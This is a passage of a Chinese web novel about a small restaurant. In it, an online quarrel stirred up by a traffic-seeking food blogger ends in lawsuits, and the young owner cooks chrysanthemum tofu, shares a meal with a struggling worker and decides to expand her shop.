[更好看又怎样？它到底是一块点心，是拿来吃的不是拿来看的，反正味道是肯定比不上百味楼的。] 都被贴脸开大了，当然要还回去—— [难不成你们全都吃过百味楼？哦不好意思我忘了网上人均年入千万了，年入千万怎么可能没吃过呢，我的我的。] [水军看谁都是水军，谁家水军账号活跃度那么高啊。] [这话说得，好像你们就吃过庄记一样，庄记是没吃过的，嘲是要嘲的。] [你们没事吧？百味楼跟一家小作坊，肯定是百味楼更好吃啊。] [在名气面前确实正常人都会选更出名的，但你夸你喜欢的就算了，来踩别人一脚是想干嘛呢？还没吃过就闭眼踩，怎么，人家小作坊招谁惹谁了？现实就不能有技艺高超的大厨藏在民间是在吧？] 安琪看着底下的评论，每刷新一次就会多出几十条。 这样下去也不是办法。 其实安琪觉得不管是庄记还是百味楼，本质都是美食而已，既然是美食，那势必会受到个人口味、喜爱的影响，都是主观的，又没有一套准确的对错评判标准，继续吵又能吵出个什么结果呢？ 也不知道百味楼的顾客为什么会在这里跟他们吵…… 安琪脑中灵光一闪，是了，事情不会无端端发生，而这件事的始作俑者就是小袁美食鉴赏。 他们吵的热火朝天，而背后的人却在坐收渔利，世界上哪有那么好的事。 安琪：[你们要不看看博主的编辑记录呢？初始动态里的文案可是说各种酥点都是需要避雷的食物哦，很明显这也包括了你们百味楼吧，你们要不猜猜博主为什么要编辑换话题呢，别到最后被人当枪使了都不知道。] 小袁美食鉴赏背后的人正喜滋滋地不断刷新着后台数据，那疯狂上涨的热度根本不是一个数字，而是金钱。 他整个人都要爽飞了。 现在这个时代果真是流量为王啊。 黑红也是红嘛。 只要在吵就有话题度。 其实小袁以前还是一个正儿八经的美食博主，每天勤勤恳恳发表着关于美食的动态，可惜一直以来都没有什么起色。 特别是看着越来越多的博主因为某一条内容大爆后，他就越来越急了。 心境越发浮躁，在网络上参与的掐架也愈发多。 直到某天，他正在拿小号跟网友对线，脑海忽然闪过一个念头： 他是不是也可以通过挑起争端为自己争取热度呢？ 小袁想着，小袁开始尝试了。 没想到竟然真有奇效！ 小袁的博文数据开始变得好看了，小袁觉得自己找到了正确的道路。 于是，他的工作内容逐渐由发布自制美食变成了在网络上寻找别人发布的美食，再想一个引战话题，带上其他家拉踩。 他前面一直这么做的，不过带的都是一些有点名气但又不是很出名的店铺。 这是第一次带百味楼。 百味楼三个字所带来的效果，只能说不愧是百年老店，是小袁从未见过的热度。 眼看着他们越吵越激烈，小袁突然刷到一条矛头直指自己的评论，咧开的嘴角霎时一僵，想要删掉，却又被后面的评论淹没。 找不到了。 小袁侥幸地想，他都看不到了，其他人一定也看不到。 然而，事情并非他所愿。 安琪那条评论不止被很多人看到，还被很多人回复了： [看了那么久，终于有清醒的人了，你们看博主的图片里，他偷别人的照片没去水印就算了，截图网友的评论还没给别人打码，我猜肯定有很多人去私信骂那个网友了。] [你们但凡点进这个博主主页，翻翻他以前的一些动态就知道是个老营销号了，就靠这个赚钱呢，不过有一点我是真不懂，这些网友既然都是百味楼顾客了，肯定不差钱，为什么感觉还是蠢蠢的呢？] [我可不信这里面能有多少百味楼顾客，大多都是戾气重的键盘侠混在里面随地大小拉呢，看见有热度有话题闻着味就来了，等受到法律制裁就老实了。] 很快有人来报：[前面的朋友带预言家啊，真的有人被告了！] …… 原本于妍正在购物软件上选购着包包，看了老半天结果她发现她看上的那款官店根本没有，便想着去官号找找看是不是她记错了。 结果一打开微博，就发现大数据推了一条关于山茶花酥的博文给她。 这块山茶花酥于妍只看了一眼，就十分确定那出自庄记老板的手。 昨晚她还看见庄记官号发着呢。 原本于妍今天是要去排队买的，但实在没听见闹钟响，就这么错过了。 她还遗憾着，便多看了几眼。 才发现下面评论吵起来了，不断拉踩也就算了，更是舞到了庄记官号下，甚至对庄记老板进行了人身攻击。 实在是太过分了！ 于妍果断收集了各方面证据，交给了助理，并吩咐他让他加急去办。 等走好流程，于妍立马把那几份盖了章的法律文件发到微博上，不止带了那个话题，还艾特告了的那几个人，让他们等着接法院的电话。 于妍的微博ID和论坛ID是一样的，因此不少溪大学生看到后就认了出来，并直呼牛逼！！ [叭叭姐永远的神！] [人狠话不多我真的爱了！好帅！] [笑死我了，有了这几个人的下场在前，其他浑水摸鱼的人瞬间消失了，真当网络是法外之地呢。] 除了那几个情节比较严重的，其他到庄记下面乱嘲的也被举报封了号，短时间内是发不了言了。 目前看来，这群啥都要来掺和一脚的键盘侠是解决了，至于挑事的那个幕后推手…… 小袁带的这波节奏，让很多人披着百味楼的皮做着一些列抹黑百味楼的事，简直有损百味楼的形象。 最后还是百味楼的公关部出面警告了小袁，小袁哪见过这样的场面，惊觉自己捅了大篓子，忙不迭就把博文删了。 估计很长一段时间都不敢乱带节奏了。 小袁心有余悸地合上电脑，也不敢看手机了。 以后带节奏估计都得小心翼翼了，他后怕地想着，等躲过了这段时间再说。 结果人还没歇多久，就接到了法院的电话—— “您好，请问是袁XX先生吗？有人起诉您引导网暴……” 第39章 第39章 杜云就是那个被小袁截图且不打码就发到动态上的倒霉蛋。 这天中午，她跟之前一样，边吃饭边拿手机出来刷微博。 小袁是她很久之前就关注的一个美食博主，以前她还会根据小袁发的一些美食教程自己做吃的，后面工作忙起来，身心都劳累，也没精力自己动手了，就很久也没看过了。 一直放在关注列表里。 偶尔打开微博，有时候碰巧遇上他发博的话，杜云也会看一眼。 次数多了，才发现他换了赛道，也不算换赛道，总之就是不再发美食教程了。 网络上什么都能吵起来，并且有很多都是瞎带节奏的，为了避免影响自己的判断，所以杜云平时很少看评论。 但她会发表自己的言论见解。 所以那天她看到小袁发的动态后，看到那块山茶花酥的瞬间就被惊艳到了，与此同时也想到了前段时间百味楼那块上过热搜的山茶花酥。 同样是山茶花酥，当时小袁发的那块从配色上来看更清新雅致，并且花瓣盛开的弧度更圆润流畅，比百味楼的更好看。 当时杜云心里有了想法，就习惯性在底下发表了一条评论。 其实她并没有思考太多，只是单纯把自己的想法观点发出来而已，就跟以前一样，也没什么别的意思。 杜云发完后就退了出去，等再次打开时，才看到她的消息那里多出了一个硕大的数字，有艾特她的、回复她评论的、但更多的是私信她的。 点开，全是戾气极重的质问辱骂，有些在问她到底长没长眼，需不需要帮她挂个号看眼科，有些还问她收了百味楼对家多少钱，要这样来黑百味楼。 总而言之，话语几乎都是围绕着百味楼。 猝不及防面对这样的情景，一句句话砸得杜云头脑发晕，她缓了缓才发现这些人都是从她在小袁那发表过的评论来的。 那么久以来，杜云以前发表的评论从来没获得过高热度，最多就是有人点几个赞，回复几栋楼这样。 这是她第一次面对这样的情况。 杜云觉得惶恐，也被那些无理取闹的人气得发抖，她解释自己并无恶意，可是那群人根本不听，这样的理睬回应反而让那群人更起劲了。 杜云一个人无法应对那么多人，她只能去原博下删评，这才发现原来是自己被博主挂出来了，所以才那么多人找到她。 既然被挂了，那她单单删评就没用，得让博主删动态。 可惜小袁并没有理她。 要求无果后，杜云被那些源源不断的私信气到崩溃。 直到收到一个女生的私信，她问她需不需要法律援助…… 起初杜云还以为是骗子，直到对方说明来意，才明白对方只是因为小袁这一番操作导致她很喜欢的一家店被黑，她咽不下这口气，所以才找到她。 杜云看了下对方的主页，对方的日常生活很丰富，一看就有钱，想来也没什么必要来骗她，杜云便放心了。 等走好一切流程，小袁也删博后，杜云的微博后台才安静下来。 等后面缓了一阵，杜云才有时间去细看其他信息，比如说那块比百味楼还好看的山茶花酥的出处。 杜云找到庄记的微博，进去看了眼，才发现这个号几分钟前发了一条新的动态—— [通俗点来说，美食就是垫肚子的东西而已，同一种菜式，有人觉得好吃，也有人觉得不好吃，觉得好吃的就多吃，觉得不好吃的就去找自己喜欢的吃，没必要强迫别人认同你的口味观点，更没必要诋毁别人的爱好。 希望你们都能找到自己喜欢的东西/比心] 短短几分钟内，底下的评论就破了三位数，再一看，这个店铺的粉丝也才几千而已。 杜云震惊，竟然都是活粉吗？ 杜云翻了下评论区，发现了那位帮助过她的女生，她动了动手指头，想发表自己认同上述那段话的想法，却又因为之前的事产生了阴影，最终还是收回了手。 她继续往下看，才发现这个店铺每次上新，都会在文案下附带新品的图片。 每样菜式的外观和摆盘都很好。 店长发的这段话、再加上被这家店的顾客帮助过，都让杜云对这家店的好感度蹭蹭上涨。 她想着，等有机会一定要去试试。 * 庄凝冬是晚上才知道发生了这样的事。 如果不是谭清莹将微博分享到群里，庄凝冬又是个不看微博的，她都不知道得多久才知道这件事。 庄凝冬花了点时间了解完事情经过，也不禁叹了口气。 这个时代虽然很好，却也有着属于它的弊端，比如太过便利的信息时代，也会因其过于迅速而引发很多争端。 看来万事都有两面性。 庄凝冬想了想，还是在微博上发了段引导顾客的话，免得他们有一天也因为别人觉得庄记不好吃就跟别人起争执。 此时此刻的顾客群里，都在谈论着今天的事—— 乌鱼子：[这些无良的营销号真是气死我了！乱带节奏，最后被骂的还是我们庄记。] 萝卜糕：[还有那帮打着百味楼旗号跟癫了一样乱发疯的……] zz：[谁知道背地里是不是百味楼的顾客呢，现实没看到一个，网上全都是。] 有种打死我：[我管他到底是不是百味楼顾客呢，总而言之，黑庄记就是在跟我作对！妈的，好不容易才发现了这么一家超绝的饭馆，我可不允许被这些张嘴就来的网络喷子诋毁！] 别惹我：[没错！为了跟那群人对战，我甚至出动了我所有的小号，手机都被我的速度整卡顿了，所以……老板@庄凝冬，如果你在看的话，能不能多做的山茶花酥？买不到真的买不到TAT] 谭清莹：[附议！！老板你看在我们这么积极去反黑的份上，就多做点吧！] 一杯奶茶：[没有山茶花酥的话，上上新品也行，我不挑的。] …… 面对顾客的热情，庄凝冬自然是高兴的，只是她目前也不确定能不能加大产量。 所以她只回应道：[我尽量。] 晚上，奶奶又端来捣好的草药给庄凝冬敷。 静谧夜色下，气氛很惬意。 耳边是奶奶经常挂在嘴边让她注意身体的唠叨，庄凝冬甜甜应着也不觉得烦，她跟奶奶说着一些顾客的趣事。 为了不让奶奶担心，庄凝冬跳过了今天发生的事。 敷好草药后，庄凝冬送奶奶回房间，并帮她关好灯。 第二天一早，庄凝冬出了趟门，去市场买了个稍微大点儿的锅，可以一次性容纳几个山茶花酥又不会影响到彼此定型的。 目前店里的锅都各有用途，其他的要么太深了，要么太浅了，都不适合盛油炸制。 锅的问题解决以后，山茶花酥的制作速度比之前快了不少，产量也随之提升。 不过，庄凝冬由此发现了另一个问题。 目前随着店里菜式的增多，炉灶有点不够用了。 究竟是减少一些之前的菜式，还是多装几个炉灶，庄凝冬还没想好。 中午照常开业。 物以稀为贵，前面一直没买到山茶花酥的顾客们越来越卷，提前排队的时间越来越早。 有顾客参照之前的排队时间掐着点来到时，已经数不清前面还有多少人了。 陆向安站在队伍里，有人过来提醒他：“兄弟，劝你还是别排了，一共就二十个山茶花酥，你前面都不止二十个人了，轮到你早没了。” “没事，排着也无所谓。”陆向安挥了挥手，毫不在意。 他最近投的简历都通过了，约了好几家面试，那几家的公司都不在这儿附近，要是之后面试通过正式入职，那他可就没什么时间来庄记了。 还是趁现在还没上班赶紧多吃几顿吧。 有没有山茶花酥都无所谓，他可以吃别的菜。 排在陆向安前面的人，有几个也许数到轮到自己的时候已经没有山茶花酥了，所以走了。 于是，陆向安又前进了几位。 不过，还是有点倒霉。 因为据前面那个顾客说，他刚好是第二十个，而陆向安是第二十一个。 “……” 陆向安还没来得及说些什么，前面那个人买完就走了。 那人一走，陆向安往窗口一瞟，视线里忽然闪过一片粉色，等他再定睛一瞧，老板已经拿着一托打包好的山茶花酥走出来了。！！！ 陆向安惊喜：“竟然还有山茶花酥？！不是说每顿只卖二十只吗？” 庄凝冬刚好还没回后厨，随口便答了：“买了个大的锅，一次能炸好几个，就多做了点。” “我去，老板你也太宠我们了！”陆向安赶紧买了一只，“我们昨天晚上才喊着加量，今天就能实现愿望了？” 后面的顾客自然也听到了这个消息，消息很快传开，也传到了顾客群里。 不想上早八：[啊啊啊啊山茶花酥数量变多了？真的假的我现在去还来得及吗？] 111：[什么？！我早上还去排队了呢，我数了几遍我发现我没排到二十以内我就走了，结果你现在告诉我，山茶花酥数量变多了？！来人！给我呼吸机，我真的受不了了。] 无敌小X：[应该是来不及了，人在现场，有些人也是刚走，结果听到还有山茶花酥就又回来排队了。] 谭清莹：[老板人也太好了吧，我们昨晚才让加量，结果第二天就真的加量了，真的有在努力满足我们的要求哎，呜呜呜这么好的老板上哪找？] 一杯奶茶：[嗯……说让加量就加了，我记得昨晚还有人提议上新来着，你们说会不会……] 别惹我：[好好好，又被老板杀个措手不及，要是老板提前说数量会增多，那我就去了。] 萝卜糕：[老板昨晚不是才说了尽量？她也许有自己的考量，觉得不一定能多做点所以就没说，你们知道的，没有希望就不会失望，老板也是为我们好而已啦，也别怪她没提前跟我们说了。] 别惹我：[没怪，我是恨我自己TAT] 没出息：[是啊，这样偶尔收获收获惊喜也蛮好的哈哈。] …… 今天山茶花酥加量的效果很好，蛮多顾客都买到了，并且给的反馈也很不错。 “终于让我给买到这块山茶花酥了，不夸张的说，我至少一个月不会再挨我爸骂哈哈。” “老板你都不知道，我奶奶以前看电视瞧见里面精美的宫廷点心就想尝尝是什么味道，可惜我家里人都没怎么去过大城市，溪城又没有这样式的点心……也许即便在市面上找到了奶奶也舍不得花大价钱买一个面粉做的东西。 现在好了，还好有你在，做出了性价比这么高的山茶花酥，我奶奶可算有机会品尝到了。” …… 在美食方面，或许除了顾客们的赞赏外，让庄凝冬更开心的估计就是自己做的东西能给别人带去快乐了。 今天的生意依旧很火爆。 下午，准备的食材都卖完后，庄凝冬松松胳膊松松腿，坐在后院的摇椅上休息。 暮光四溢，她瞌上眼皮歇了一会儿。 忽然被一道年迈的吆喝声吸引了注意力—— “卖豆腐嘞！大块的豆腐～” 庄凝冬睁开眼，那是一个伛偻着背的老爷爷，他肩上横一根竹竿，两头分别悬一个沉甸甸的水桶，压的竹竿都弯下了点弧度。 庄凝冬好奇地过去瞅了眼。 “小姑娘，买豆腐吗？”老爷爷看见她，弯腰放下担子，笑呵呵地，“来看看，有白豆腐，也有黑豆腐，黑豆腐是用黑豆做的，都是自己手工磨的，好吃的嘞，要不要买点？” 两只水桶里分别装着白豆腐和黑豆腐，静静沉在水里，表面光滑，看起来就非常嫩。 庄凝冬觉得这豆腐品质可以，便问了价格。 老爷爷说了个数。 还挺便宜。 老爷爷又问：“家里几个人啊？一个人的话一块豆腐就够了，两个的话……其实一块也够了，往里加点肉沫一起煮，喷香。” 老爷爷不知道庄凝冬自己就是大厨，以为她不懂，乐呵地教着她，后面还另外传授了一点挑选豆腐的技巧。 跟庄凝冬自己挑豆腐的准则没多大出入，庄凝冬也没厌烦，更没有自大地炫出身份，而是谦虚地笑着道了声谢。 庄凝冬买了两块，一块黑一块白。 付了钱，老爷爷便走了。 陈婆婆从另一头走来，庄凝冬看着她停在老爷爷跟前，跟他说了几句，然后又在他那里买了豆腐才继续往回走。 陈婆婆回家要经过庄凝冬的后院。 庄凝冬没急着回厨房，便跟她打了声招呼。 陈婆婆看见了她手里的豆腐，“你也在他那买了豆腐啊？他家的豆腐都是自己做的，品质很不错，可以放心买。” 看来陈婆婆认识那位老爷爷，庄凝冬就多问了几句。 庄凝冬从陈婆婆口中得知…… “哦，他呀，说起来他命运挺多舛的，年轻时就失去了另一半，艰难抚养长大的儿子也在一次意外逝世，现在膝下无一子，是真正的孤苦伶仃，这也就算了，家里还没几个钢镚儿，家里的收入来源只有卖豆腐，哦，还有政府每个月补贴的一点小钱，干不了什么，只能维持个生计吧。” “这么多年来，他就这样守着一家小屋子，做着他的石磨豆腐，挑着个担子边走边吆喝，风雨无阻。” “所以我每次看到都会在他那里买点豆腐，能帮一点是一点。”陈婆婆叹了口气：“他这人，说他缺钱，他确实缺钱，但他做的这些又不是为了赚钱，那么大一块豆腐卖得比市面都便宜。” 庄凝冬问：“那他每天都能卖完吗？” “不一定，有时候天气不好，或者出来晚了，别人都买好菜了，就卖不完了。” 庄凝冬听完后觉得心里空落落的，无比唏嘘。 也开始后悔，早知道刚刚把他那里的豆腐全买了。 庄凝冬侧头看向远处。 那头，老爷爷已经走远，拐了个弯，庄凝冬刚好看见水桶消失在尽头。 “陈婆婆，你说他为什么要这么坚持呢？” 老爷爷那个年纪，该颐养天年才对，既不是为了钱，更没必要劳碌了。 陈婆婆：“我以前也劝过他，不过也只是笑，说——” “‘人的一生，踏踏实实做好一件事就够了’。” 庄凝冬无端想起刚刚的场景，老爷爷脸上洋溢着笑容，夕阳金光照在他身上，仿佛一点也不辛苦。 回到厨房，庄凝冬把那两块豆腐放进水盆里，洗干净砧板，开始着手准备晚饭。 看见豆腐时，她心中就有了想要做的菜—— 菊花豆腐。 菊花豆腐是庄凝冬来到这个时代才学的菜，通过网络上的视频，看了不下五遍。 没办法，成品实在是太美了，每次大数据推过来时庄凝冬都忍不住停下来看。 尽管菊花豆腐的做法她看一遍就会了。 一直没机会上手尝试，今天正好来了机会。 乍一看，菊花豆腐的切法和文思豆腐差不多，不过实际上可比文思豆腐难太多了，同样追求刀功的精细，除了要把豆腐切得细如发丝外，菊花豆腐还要求底部不能切断。 这就极其考验操刀者的刀功，要求厨师达到心手合一的境界。 庄凝冬拿起刀就专注地切起来。 指关节抵着刀的一面不断往后退时，拿刀的手也快狠准地不停往后切。 豆腐质地柔软，稍稍用力都能碰得缺个角。 庄凝冬的力度是快的狠的，却又是轻柔的。 因为菊花豆腐的底部需要衔接着，所以庄凝冬的刀都没有碰到砧板上。 季初曼进来看见的就是一副这样奇异的场景，庄凝冬人在认真地切东西，但是又没有菜刀跟砧板相撞的声音传来。 季初曼记得，庄凝冬的刀功非常好，那切菜声，非常规律，又整齐，听起来竟意外地悦耳。季初曼就经常听着这样动听的切菜声干活，别说，还挺有干劲的。 所以现在没听到声音，季初曼还挺好奇地靠了过去。 才发现她竟然在切一块豆腐。 在豆腐的家常做法里，一般只需要按照棋盘那样划分切割成小块，像这种每一刀都落得密集的…… 是文思豆腐？！ 季初曼在带女儿的那几年，也学过一点厨艺，在追求漂亮摆盘上研究过不少，所以也看过一些比较精美的食材制作，其中就包括文思豆腐。 可是她记得，文思豆腐要切到底的吧？ 正当季初曼疑惑时，庄凝冬已经直起了身子，她小心翼翼地将那块切好的豆腐放在干净的水盆中，在水里晃了几下。 细碎的豆腐屑被冲走，那根根细如银丝的豆腐丝在水中晃荡了几下，模样渐渐变得清晰—— 一块菊花状的豆腐在水中完美呈现，其中在清水里摇晃的细丝正如千丝万缕的花瓣，似在风中摇曳。 “！！！”季初曼不由地瞪大眼睛：“这……豆腐竟然还能切成这样？” 原本以为文思豆腐已经足够让人震惊，没想到还有更让人震惊的。 庄凝冬笑着解释：“这是菊花豆腐，我也是第一次切，没想到能成功。” “谦，谦虚了。” 季初曼被惊艳得倒吸一口凉气，她当然明白，老板这是本身就有这刀功，所以才会一次成功。 这样精致完全能媲美艺术品的豆腐，绝不可能是因为运气好。 接下来，季初曼又看着庄凝冬把另外一块黑豆腐同样切成了菊花状。 此时在水里绽放的，是一朵黑菊花，比白菊花多了几分神秘的色彩。 庄凝冬另外舀了几勺鸡汤，把这两块切好的豆腐放进鸡汤里，上锅煮制了一小会儿。 因为这两块豆腐比较大，免得碰着搁着，庄凝冬还分了两个锅煮。 待出锅时，庄凝冬还往里加了一根碧绿的青菜，以及在花蕊处放了一粒嫣红的枸杞。 霎时间，两朵菊花都活过来了，画面也变得格外雅致，配上白瓷碗，盛着澄澈如茶水的鸡汤，非常有格调。 汤水晃动间，不仅花朵变得鲜活，还能闻到浓郁的鸡汤鲜香。 “奶奶，初曼姐，来吃饭了～” 庄凝冬端着碗出去，餐具都还没放好，就有个人走了进来。 第40章 第40章 来人是一个中年大叔，他身形偏瘦，衣衫旧得褪了色，看上去灰扑扑的。 他的眸子扫过菜单，挑了个最便宜的：“麻烦给我来一份番茄土豆烩饭吧。” 季初曼在前方擦着桌子，她离这位大叔最近，就顺口答了：“不好意思啊，我们店里已经打烊了。” “打烊了？” 大叔有点惊讶，他刚刚走来的时候，看到附近的餐饮店还挺火爆的，他有点急事所以才找了一家没什么人不需要排队的店，却没想到竟然打烊了。 “好吧。” 见大叔正要失落转身，庄凝冬适时喊住他：“我们正准备吃饭，您要是不介意的话，可以跟我们一起。” 大叔错愕转身，季初曼也有少许怔愣，不过想到自己当时好像也是这样被庄凝冬留下的，轻轻笑了下。 “放心吧，够吃的。”庄凝冬说：“正好我今晚多煮了点…… 要是换做平时，李和还真不好意思留下来跟人家一起吃。 但是他等会儿还要去晚托班接女儿，再晚点的话人家晚托班也要关门，老师也要下班，总不好老是耽误人家时间。 也不想女儿等太久。 其实不吃的话也可以等接完女儿再吃，只不过他女儿比同龄人要懂事得早，他平时为了不让女儿担心都是骗她说自己每天大鱼大肉的，不然女儿可能就没法安心待在每天伙食都很好的晚托班了。 “那麻烦了。”李和说。 等坐下后，李和才看清这顿的晚饭，蘑菇炖鸡，清炒四季豆，还有两大碗汤，至于是什么汤，李和不知道，因为里面的那块状似花朵的东西是什么他看不出来。 见李和一直盯着，庄凝冬笑着解释道：“这是豆腐，汤水是鸡汤，味道应该还可以，你要是对这些食材不过敏，可以尝尝。” 豆腐？！ 碗里的汤清澈见底，澄明如茶，表面既没有浮沫也没有厚厚的油脂，透亮得不行，而那块状似菊花的豆腐被切得如头发般粗细，丝丝缕缕在水里摇曳着，鲜活得极富生命力。 首先这个鸡汤就很不一般，李和就没见过有能把鸡汤熬得那么清亮的，其次，是这个豆腐…… “你说这个是豆腐？”李和不可思议道。 竟然能把豆腐切得这么细？细也就算了，关键下方居然还不断，千丝万缕哪怕再自由飘荡，它们始终是连在一起的。 这刀功究竟强到了什么境界？ 而且这份菊花豆腐，静置的时候美得像一副精心勾勒的画作，根本让人舍不得吃，舍不得去破坏这份完整的美。 “你尝尝就知道了。”庄凝冬给李和装了一小碗汤，还用公勺挖了一点豆腐放到他碗里。 一朵完美的菊花就此缺了一个角。 季初曼和奶奶看到后都不忍地倒吸了口凉气。 “哎哟……”奶奶是最不舍的，目光流露出几分可惜。 庄凝冬不禁觉得好笑，她接着给奶奶和季初曼都盛了一小碗：“做出来就是为了吃的嘛，又不是为了光看的，难道您一直放着不吃它，它就会一直这么保持完好无损了？您要是喜欢、舍不得的话，到时候我每顿都给你做。” 说的也对，豆腐嘛，本身就是一种食材。 奶奶听完后可算乐呵地笑了：“你呀，就会哄我开心。” “先吃吧。” 面对别人一家，李和一个外人也插不上什么话，不过他也等其他动筷他才开动。 白瓷勺沉下水中，汤面瞬间泛起了涟漪，像平静的湖面被风惊动，水面晃动间，漾起了浓郁的鸡汤香。 李和使劲嗅了嗅，从未闻过味道这么香的肚子顿时空了起来，嚣张地发出咕噜咕噜的叫声。 “太香了……” 奶奶骄傲笑：“那可不，我孙女做的呢，你喝喝看，味道更是一绝。” 李和低头往嘴里送了一口鸡汤，舌尖触及到鸡汤的那一瞬，李和愣住了。 鲜，实在是太鲜了！ 鸡汤的味道鲜香浓郁，也不知道怎么熬的，一点腥气都没有，而经过长时间的熬制，鸡肉和鸡骨头的味道都进了汤水里，融合成一股更醇厚的香气。 那汤水口感绵滑，像丝绸般丝滑地从舌尖淌过喉道，滑进胃里，给味蕾带来前所未有的体验。 入口回甘，甜丝丝的，真的太好喝了，叫人怎么也喝不够。 李和一勺接一勺，出了一会儿神，百思不得其解，怎么能这么好喝呢？ 究竟是怎么做到的？ 李和是一名工人，赚的每一分都是辛苦钱，平时为了方便和省钱，他都会选择在便宜的工地食堂解决吃食。 除此之外，有时候女儿在学校取得不菲的成绩后，李和也会带她去外面吃，当做女儿的奖励。 不过，不管是哪里的饭菜，包括外面那些李和吃过的、对他来说价格也算得上昂贵的饭菜，都不及目前这碗鸡汤。 或许……不止鸡汤。 随着喝的鸡汤越来越多，碗里的水位开始下降，原本还在飘荡的豆腐丝有些已经粘在一起了。 李和忙不迭用勺子弄了一点，喝着鲜美的鸡汤一口吃掉。 豆腐切得很细，吃到嘴里恍若无物，轻轻一抿，细丝瞬间化成浓郁的豆腐味，跟浓厚的鸡汤一起，口感无比轻盈细腻。！！！ 原本李和还持怀疑态度的，现在一吃，感受到豆腐特有的豆香味时，才信了竟然真是豆腐。 里面每一根豆腐都被汤汁裹上了浓郁鲜香的味道，在这之下，又保留了它独有的味道，口感层次非常丰富。 李和：“这鸡汤真鲜甜，还有这个豆腐，切得那么好看就算了，味道也那么好吃，真是哪哪都让人赞不绝口。” 李和吃着，舀了一勺鸡汤淋到松软洁白的饭面上，犹如海绵吸水般，饭粒一下子吸饱了茶色的鸡汤。 吃上一口，绵软的米粒里，有大米的清香和醇香浓厚的鲜甜鸡汤，越嚼越香，愈发让人停不下来。 李和觉得自己从来没这么饿过，他大口大口扒拉着米饭，被这股美味惊得不可思议：“小姑娘，这豆腐也是你切的？” “不止豆腐，”季初曼笑，“还有这些菜，全部都是她做的。” 奶奶笑呵呵：“这家店也是她开起来的呢。” 李和闻言，重新扫视了一遍这家店，然后又去尝了尝其他菜。 蘑菇炖鸡的蘑菇香香软软，顿得汁水浓稠，鸡肉块也非常滑嫩，咸香十足，特别爽滑。 四季豆的颜色翠绿，大火翻炒过后维持着清脆的口感，吃起来很爽口。 每一样菜式都好吃极了！ 是李和从来没吃过的美味。 “三百六十行，行行出状元啊。没想到小姑娘你看上去这么年轻，厨艺却这么老练，”李和止不住感叹：“真的特别好吃！我从来没吃过这么好吃的东西！” 刚进来时，李和看到其他店都人满为患的，就这儿没人，还以为是生意不好，结果没想到，人家是生意太好了，所以早早卖完早早打烊了。 庄凝冬笑：“好吃的话，下次就多来吃。” “身不由己啊……”李和笑着摇摇头，说起自己的事。 庄凝冬她们这才知道原来李和是在郊区工地工作的一位工人，他们不仅上班时间早，下班时间还晚。 李和说：“等我收工来到，估计又跟今天一样打烊了，不过等我休息的时候还是能来的。” 李和说着说着，话匣子一打开，他不免得提起自己的女儿。 聊起时，他的眉眼也全是骄傲。 吃完饭后，李和仍觉得有点意犹未尽，口腔里，齿间，满满都是食物的芳香，余韵无穷。 其实在品尝到美味的那一刻，他就遗憾女儿不在现场了。 不过可惜，这是别人自己做来吃的晚餐，就连他也是好运才得以被留下一起吃，哪还好意思跟别人提食物打包呢。 于是，只能等下次了。 “等下次，我一定带我女儿来吃。”李和说着，不顾庄凝冬她们的推阻，飞速将手里的钞票往她们那一塞，转身就出了门。 怎么喊也喊不回头。 庄凝冬只得无奈地扬起唇角。 晚上，一楼大堂，卫生已经被季初曼搞得干干净净，一片亮堂，目光所到之处，皆是一尘不染。 庄凝冬给收银台上的那两条小锦鲤换了水，顺势在收银台前坐了下来，思绪不禁放空。 没多久，奶奶也在旁边坐了下来。 庄凝冬回神：“奶奶？你怎么下来了？” 奶奶：“看到一楼还亮着灯，想看看你在忙什么呢，怎么了？” “没有，就是想起一些事。” “什么事？不妨跟奶奶说说。” 庄凝冬转头，奶奶笑得很温和慈祥，一副对后辈都很包容的模样。 在这样的温情里，庄凝冬不由心头一动，张了张嘴就把想的事说了出来。 “我是在想厨房炉灶的问题，现在店里的菜式多起来了，产量也在增多，炉灶渐渐不够用了，我就在想，要不要多添几个。” “要是多添几个的话，那就得多建台面，嗯……可能后续还得多招人，不然会忙不过来，那这样的话，就相当于扩建规模了，”庄凝冬说，“我原本开店只想着赚钱还钱，然后经营着这家小店好好生活，都没想过要把店做大的。” 奶奶静静听着，知道她话还没说完，也猜到她内心可能有了想法，所以并未着急出声。 “可我最近发现，把店做大也是有好处的，那样每天对蔬菜的需求就变大了，或许可以帮助更多有需要的菜农，像之前，我就帮了钟盼她们一家，还有郑叔郑婶，除了这方面外，也可以给更多人提供就业岗位，像初曼姐那样，等产量提上来后还能让更多人吃上我做的饭，那样他们或许就不用每次都跑空了……” 奶奶：“其实你的心里已经知道该怎么做了。” “我只会做菜，”庄凝冬叹了口气，很苦恼：“关于怎样做大、经营一家饭店一点儿也不熟悉，我怕自己做得一团糟。” “人生那么长，你还那么年轻，就先去尝试嘛，况且，我们凝冬那么聪明，说不定一下子就上手了呢？你现在不就做得挺好的吗？反正做大又不是一瞬间的事，各方面你就慢慢来好了，要是出了什么错，大不了回到原点。” 奶奶温柔地拍了拍她的手：“年轻人还是别想着安于现状，多闯闯。” 庄凝冬方才还作苦思状，现在经过一开导，眉头不由得舒展开。 她了然地弯起眉眼：“我知道了奶奶，既然这样，那我就先试试吧。” 既然想好了，庄凝冬也就放手去做了。 第一时间，庄凝冬就通过陈婆婆找到了那位卖豆腐的老爷爷。 他的住所就是普通的瓦房，用黄色的土砖砌成的，挺小一间，里面空间有点逼仄，放着矮小的椅子，桌子上还用饭菜罩盖着吃剩的东西。 得知老爷爷一天所制作的豆腐数量后，庄凝冬在心里盘算了一下，说她都要了。 老爷爷惊讶，这才知道她是开饭店的。 “瞧我昨天，不是班门弄斧了么？”老爷爷有点羞愧了。 是指教庄凝冬挑豆腐的事。 都开饭店了，说不定在挑食材这方面，人家比他还懂呢。 “哪里的话，”庄凝冬说，“每个人的知识面都是受限的，多听听别人的也没坏处。” 接下来就是洽谈合作细节了。 有人买他的豆腐，老爷爷自然很开心，这可是对他几十年如一日的手磨豆腐的认可。 不过他也不是盲目卖的，就怕小姑娘是看他条件不好做善事来了。 等考察过，确认庄凝冬是真的开饭馆并且生意不错之后，他才放下心来。 买了豆腐，就可以准备准备上新了，庄凝冬就准备做这个菊花豆腐。 与此同时，她也在编辑即将上新的消息。 自从上次大半夜突然发上新消息，导致很多顾客睡着压根没看到后，庄凝冬就开始注意这个发布时间了。 [大家晚上好！本店将于明天推出新品：菊花豆腐，55元一份，一共四十份，欢迎大家前来品尝！] 其实前几天定制的山茶花酥专用盒子今天也送到了，只不过由于目前还没法加大山茶花酥的产量，而一个盒子里总不能只装一块山茶花酥，看上去就非常小家子气，只能先搁置上线带礼盒款山茶花酥的计划。 